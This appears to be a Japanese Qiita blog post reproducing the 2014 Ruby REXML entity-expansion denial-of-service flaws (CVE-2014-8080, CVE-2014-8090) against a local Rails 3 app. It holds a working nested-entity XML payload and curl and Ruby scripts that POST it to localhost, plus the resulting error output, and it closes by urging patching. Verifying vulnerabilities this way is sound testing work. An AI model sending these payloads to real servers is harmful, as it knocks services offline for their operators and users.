LoginSignup
6
6

More than 5 years have passed since last update.

XMLを送りたい時

Last updated at Posted at 2014-12-26

少し前(2014年10月頃)になりますが、RubyのDoS脆弱性としてREXMLに関連するものが出ていました。

Ruby on Rails3系だと、XMLが送られてくると、コントローラーに来る前に基本的には勝手に解釈してくれます。
なので、『送りつけたらどうなるかなぁ?』と思ったお話です。
なお4系列だと、XMLは自動で解釈しない(parseを無くしたはず)ので、actionapack-xml-parserを利用するようにしていたり、自前でREXMLを利用していない限りは気にしなくても良いですし、rubyのパッチバージョンを最新にすれば問題は起きないです。

とりあえずローカルで発生するのかを見る

cve-2014-8080

  • コミットの中にテストコードがあるので、そこにあるXMLを叩いてみます。
cve-2014-8080.rb
require "rexml/document"

xml = <<-XML
<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>
<cd></cd>
XML

REXML::Document.new(xml)
  • 実行すると、CPU使用率が100%付近に張り付きます

  • 対策済みのパッチバージョンで実行すると以下のようなメッセージが出るだけです

$ ruby cve-2014-8080_rexml.rb 
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: entity expansion has grown too large> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:145:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8080_rexml.rb:17:in `new'
cve-2014-8080_rexml.rb:17:in `<main>'
...
entity expansion has grown too large
Line: 10
Position: 495
Last 80 unconsumed characters:
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
    from cve-2014-8080_rexml.rb:17:in `new'
    from cve-2014-8080_rexml.rb:17:in `<main>'

cve-2014-8090

  • こちらも似たような結果で、対策済みパッチバージョンで実行すると少しエラーメッセージが変わる感じです
$ ruby cve-2014-8090_rexml.rb -l
start rexml : 2014-12-05 20:47:20 +0900
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:95:in `rescue in parse': #<RuntimeError: number of entity expansions exceeded, processing aborted.> (REXML::ParseException)
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:239:in `record_entity_expansion'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:76:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:77:in `unnormalized'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:143:in `block in value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:142:in `value'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `block in parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `each'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:63:in `parse'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
/home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
cve-2014-8090_rexml.rb:43:in `new'
cve-2014-8090_rexml.rb:43:in `<main>'
...
number of entity expansions exceeded, processing aborted.
Line: 10
Position: 450
Last 80 unconsumed characters:
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:20:in `parse'
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:249:in `build'
    from /home/*****/.rvm/rubies/ruby-1.9.3-p551/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
    from cve-2014-8090_rexml.rb:43:in `new'
    from cve-2014-8090_rexml.rb:43:in `<main>'

XMLを送りたい時

ローカルで起動させたRailsアプリに贈る

  • ただし、CPUを張り付かせたいので、XMLを自動解釈してくれるように、Rails3系のもの

curlで

手っ取り早いですよね。雰囲気としては以下

curl -­L http://localhost:3000/ ­-H 'Content­Type:application/xml'\
­-X POST -­d '<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>'

今回は特に問題となりませんが、XMLが長くなってくるとエラーになってしまい実行出来ないと思います。

rubyで送る

require "net/http"
require "uri"
require "pp"

xml = <<-XML
<!DOCTYPE root[
  <!ENTITY % a "BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.BOOM.">
  <!ENTITY % b "%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;%a;">
  <!ENTITY % c "%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;%b;">
  <!ENTITY % d "%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;%c;">
  <!ENTITY % e "%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;%d;">
  <!ENTITY % f "%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;%e;">
  <!ENTITY % g "%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;%f;">
  <!ENTITY test "test %g;">
]>
<cd></cd>
XML

uri = URI.parse("http://localhost:3000/")
Net::HTTP.start(uri.host, uri.port){|http|
   header = {
     "Content-Type" => "application/xml"
   }

  body = xml
  pp http.post(uri.path, body, header)
}

Railsのログは貼りませんが、CPUが100%に張り付き、メモリ使用量が20倍程(実験環境だと約800MB)になる事は確認しました。
送る側のプロセスはすぐにタイムアウトになる割にRailsプロセスは10分程上記の状態になっていたので、連投されると嫌ですね。
パッチバージョンを上げた後は、「500 Internal Server Error」が返ってくるようになりました。
なお、Railsのコントローラーに来る前に、エラーを返す事になるはずなので、ハンドリングは少し工夫が要ると思います。

まとめ

  • XMLを簡単にPOSTするコードでした
  • パッチバージョンはこまめに上げていきましょう
6
6
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
6